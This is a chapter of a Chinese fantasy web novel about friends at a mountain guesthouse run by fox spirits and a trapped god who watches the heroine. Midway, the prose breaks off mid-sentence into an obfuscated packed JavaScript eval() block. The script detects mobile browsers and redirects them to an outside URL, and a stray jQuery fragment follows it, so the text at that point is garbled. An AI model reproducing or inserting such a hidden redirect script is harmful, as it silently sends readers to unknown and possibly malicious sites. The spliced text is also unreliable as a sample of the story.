这家民宿的早餐繁复又讲究,但确实……不大好吃。
“这早餐是人家的特色,你们吃的时候能享受一点儿吗,别皱着眉头。”
林沐看了一眼不远处美艳的老板,小声解释着,“这家在宋朝时期就是一家客栈,早餐形式也已经流传了近千年。她家老祖宗说了,这早餐的样式对不能添也不能去,更不能改!”
“能流传千年也是不容易!”楚宋一脸嫌弃,“我真不知道你为什么非要选一家因为早餐难吃而出名的民宿。宋朝可是盛极一时,这吃食怎么可能这么难吃?咱也不能什么网红打卡地都往前凑吧!还流传千年,不就是用了些个仿宋时的器具,搞了个噱头吗?”
“你们还小,你们不懂!”上官山很是深沉,他光明正大地盯着老板欣赏,“来的大概率都是醉翁之意不在酒……”
傅严一本正经地问:“秀色可餐?”
“收敛些!吃饭!”
魏有书一出声,两人都老老实实闭了嘴,收回了视线,埋头吃饭。
满听看着满桌仿古餐具和餐食,问道:“这家民宿的午餐和晚餐应该不难吃吧?”
林沐道:“网评说不难吃,要不然再好的风景也留不住人呀!来这山上的,少说都要住一晚。餐食顿顿难吃,谁又能忍得了。”
楚宋艰难地咽下了一口精致却甜腻的糕点,“八成是因为有早餐的衬托,才觉得午餐和晚餐不难吃!”
“不是。”林沐道,“因为只有早餐是老板亲自做的!”
餐桌上陷入了诡异的沉默。
满听看向了老板,再看向窗外“胡氏客栈”的吊旗,若有所思。
山中朦胧又安静。
满听没有困意,在窗前的书桌上铺了宣纸。她可是有作业的人。
魏有书也没有困意。他早早就开始收拾随车带来的东西,将三辆车开到了民宿的后山,搭好了露营用的帐篷和简易厨房。
山中最适合打发时间,一整天吃吃喝喝聊聊天,再活动活动筋骨,也就过去了。
“大师兄?”满听写完字,顺着小路朝着落日山的方向走,正好走到了民宿的后山。“咱们这是要露营?”
“嗯!”魏有书看到她,露出了一个惊喜又温和的笑,“怎么就睡了这么一会儿?”
“不困!我来帮你吧!”满听走过去帮魏有书处理手边的食材,“为什么选这个位置露营?这里的风景有什么特殊的吗?”
在这个位置,刚好能看到落日山的侧面,还能看到一部分度西神庙瑰丽的屋脊。她不死心,仍想再确认一遍。
“温度适宜,是一出风水宝地!”
其实在魏有书看来,只是此处空旷平整,没有什么特殊之处。他不过是没话找话。
满听重新抬头,若是沿着上山的路继续,通往一个精美华丽的亭子。
“半山腰那个亭子不错。”
魏有书抬头看过去,并没有看到满听口中的亭子。
“哪里?”他开玩笑道,“是我眼神儿不太好了吗?”
满听微怔。
亭子也看不到么?
所以,整个度西岭有一个巨大的屏障,或者说叫,结界?自己这个支教老师,是被允诺之后,才能看到的?
“叮!”车载烤箱传来提示音。
魏有书快步走过去,里面是他之前放进去的蜜薯,“本来是烤好了用来做菜的,刚巧被你碰上了。”
他将烤箱托盘拿出来,蜜薯整整齐齐码着,胖瘦个头一致,外皮烤的焦黄,缝隙里露着蜜油,瞧着就食欲大增。
半山腰的亭子里,松月凉不知道什么时候来了,端坐着,手里捧着一本书,余光看着满听像小松鼠一样,吃掉了两个流着蜜油的蜜薯。
她应该很喜欢吃,若不是担心一会儿做菜不够用,怕是能给这一盘子都吃完了。
这亭子名为踏山,松月凉千年之前来过一次,那时候这里还是狐大族的听风亭。
当时探寻到这里是度西岭结界的边缘,他便将听风亭三个字抹去,改为了踏山。
那时候年少轻狂,想着自己总有一天能踏出这度西岭。
“妖神大人!”胡梦梦开口,打断了松月凉的思绪。
她本是恭恭敬敬站在亭子外面,察觉他一直注意着满听一行,开口询问,“这些人类可打扰到您了?”
“无妨!”松月凉这才光明正大看了过去,“你不必候着,也不用管他们。”
胡梦梦应了之后便退下了。直到退远了,她才长舒一口气,真不知道家里那个小祖宗为什么天天说妖神大人平易近人得很。
这亭子自从被妖神大人改为踏山,便成了狐大族的殊荣,也成了狐大族的禁地。
当时的狐大族家主最喜研究人类的餐食,那日给妖神大人准备的早餐制式极为繁杂,都是他的拿手之作。
自那天之后,他们狐大族的早餐制式就再没更改过。
只是,胡梦梦对于烹饪这件事真的一窍不通,她做家主之后,能将这早餐做出来个样子,已是不易。
幸好有网友的反向宣传,倒是让胡氏客栈杀出了一条与众不同的网红之路。
满听的手机响了,她习惯性用左耳接听。
“小满……”白露有些委屈的声音传了过来,“你去哪了?”
“在后山。跟大师兄一起准备露营。你再睡会儿?”
白露这才缓了神儿,“算了!我想吃你做的芝士寿司,食材在我的车载冰箱里,我开车过去。”
“已经在做了。大师兄已经把你的车开过来了,我想着你的冰箱里应该准备了自己想吃的东西。”
“还是你对我最好了!”白露假哭了几嗓子,“不行!林沐那小子肯定还在睡!我得把他薅起来!”
后山不一会儿就热闹起来。
松月凉想起了很多年前,有富商心有所求,特意在度西岭给他搭了个戏台子。
如今他坐在这踏山亭朝下看,就像是当年一样,看了一场不知名的戏。
只是他们吃的喝的玩的,松月凉从未见过。主要是,这样的满听,他从未见过。
他心中莫名不爽。
“咱们要不要切磋一下?”傅严出了声,“这么大的草坪,不用来打擂怪可惜的!主要是我好久没有跟小满切磋了。”
上官山嘴里的西瓜突然香甜起来。他朝着傅严看过去,眼里满是赞许之意。
这小子,“切磋”两个字用的太妙了,这简直是在大师兄心口上捅刀子,还是扎得贼准的那种。
傅严察觉上官山的眼神,心下警铃大作,“三师兄你这是什么眼神儿?”
魏有书抬眼看过去,上官山重新埋头吃瓜,嘴里含糊着,“我都没看你好吧!”
“老三,你先来!”魏有书声音比往常要温和许多,上官山却觉得周身冷飕飕得。
“老四提出来的切磋,自然要老四先上。”
上官山抱着瓜往后蹭了蹭。他先来?不可能的,他根本就拿不准到底是要输还是要赢?
“铁定有猫腻!往常没见三师兄这般让着四师兄。”白露在满听耳边小声说着,说完她突然想起什么,换为坐到了满听的右手边,微微抬高了些声音,“耳朵还有哪里不舒服吗?要不然明天早点下山,咱们回去青城检查一下,不然我这心里总是有些不放心。”
“放心!好了就是好了,好不了也不过是恢复之前的样子。你不必太过紧张和担心。”
“那怎么行?”白露一着急就抬高了声音。
众人齐刷刷看过来。
“没事!”满听捏了捏白露的手,小声道,“你别着急,最迟再下个周末,我回去青城检查一下。”
说罢她看向魏有书,抬高了声音,“我想先跟大师兄打。”
“哇哦!”上官山夸张地起哄。
满听是个极为尊师重道的人,若是之前做选择,她定然会从楚宋开始,挨个往上挑。
傅严皱紧的眉头突然舒展开,打了个响指,调侃道:“行啊小满,你是不是在山中遇到什么高人指点了?都敢直接跟大师兄叫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902552|176705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
板了。”
上官山看向他,在魏有书看不见的角度朝他竖起了大拇指,无声道:“老四,你真相了!”
傅严不明所以。
魏有书直接站起身子,应了声,“好!”
魏有书一开始先引导着满听舒展筋骨,两人的招式干净利索,赏心悦目。慢慢地,满听出招越来越狠,跟以往她的风格完全不同,处处逼着他放大招。
“小满这是着急输?”林沐有些看不懂了。
上官山皱起了眉头,“难不成小满真学会了掣肘大师兄的招式?”
白露是毒唯,不假思索道:“小满说是,就一定是!”
“你们俩说啥呢?”傅严和楚宋异口同声。
话音刚落,魏有书便使出了之前无人能解的那一招,只是刻意收了自己的力道。
满听双眼一亮,沉住气,全力使出了松月凉教给自己的招式。
“砰!”在众人不可置信的眼神中,她撂倒了魏有书。
满听看着倒地的魏有书,短暂地愣怔之后伸出了手,“大师兄,你没用全力!”
魏有书看着她伸过来手,愣住了。
全程只有白露和林沐这两个“外门弟子”没看懂。
白露叫着好,林沐则是起哄,“大师兄你不能故意让着小满!”
松月凉听了林沐这话,在那头嗤之以鼻,上古武术流传数千年,岂是他们这帮毛头小孩能搞清楚的。
魏有书这才回了神,“我真没让,小满这一招确实很绝妙。”
他这才小心翼翼将手搭上去,被满听拉了起来。
松月凉看着两人刚刚交握在一起的手,心下更不爽了。
魏有书道:“这个水平,可以考虑来当我的陪练了。”
满听摇摇头,“只是破了你的招式而已!伤敌八百,自损一千。不是什么聪明的招式。你若不是收了力道,现在倒地的应该还是我。”
上官山早就忘了吃瓜这事儿,跟傅严和楚宋讨论满听刚才的招式。
后来,满听和魏有书又重新演练了几遍,说好的露营,又变成了招式研讨会。
“原来,她跟自己的朋友是这样相处的。”
松月凉生来就是神,神总是被敬仰,朋友对他来说,过于奢侈。他自然也不知道朋友之间怎么相处。
传声鸟传回来的热热闹闹的那些话,让他心里又疼又痒,那颗刚学会跳动的心好像怎么也落不到实处。
似乎是来到踏山亭,又似乎是看到满听,才重新落了下来。
他本可以借着检查功课的名义,本可以有各种方法让满听来到这踏山亭,看到她之后却又犹豫了。
是了,他让传声鸟盯着满听,只不过是想知道她会不会说自己坏话。他亲自过来,只是想看看她怎么跟朋友相处。
毕竟,是满听说的,想和他做朋友。他既然答应了,总得学着些。
即使她的朋友们讨论地热火朝天,满听依旧很安静。松月凉就这么静静看着她,似乎把自己也看成了戏中人。
松月凉被困度西岭两千年,一直觉得没什么,过客口中什么都能听,书中什么都能看。
如今看向近在咫尺实则相隔天堑的满听,他突然觉得,度西岭,就像是一个巨大的牢笼。
他总有一天,会留不住满听,留不住这个,朋友。
松月凉站起身子,朝着踏山亭外伸出了手。
“嗡!”
一道透明的结界撑开,他再难寸进。
满听所有所觉,朝着半山腰的亭子看过去。
无声地对抗许久,直到松月凉的额头上渗出汗珠,他才松开手,睁开了眼。他抿了抿嘴唇,低声道:“无聊!”
“松月凉,你怎么来了?”
松月凉僵住。
满听是跑上来的,她微微喘着气,“今天不是要上课吗?”
松月凉这才转过身子看向她,信口胡诌,“带着小崽子们户外训练,刚好走到这里。好巧!既然遇见了,就顺便检查下你的作业吧!”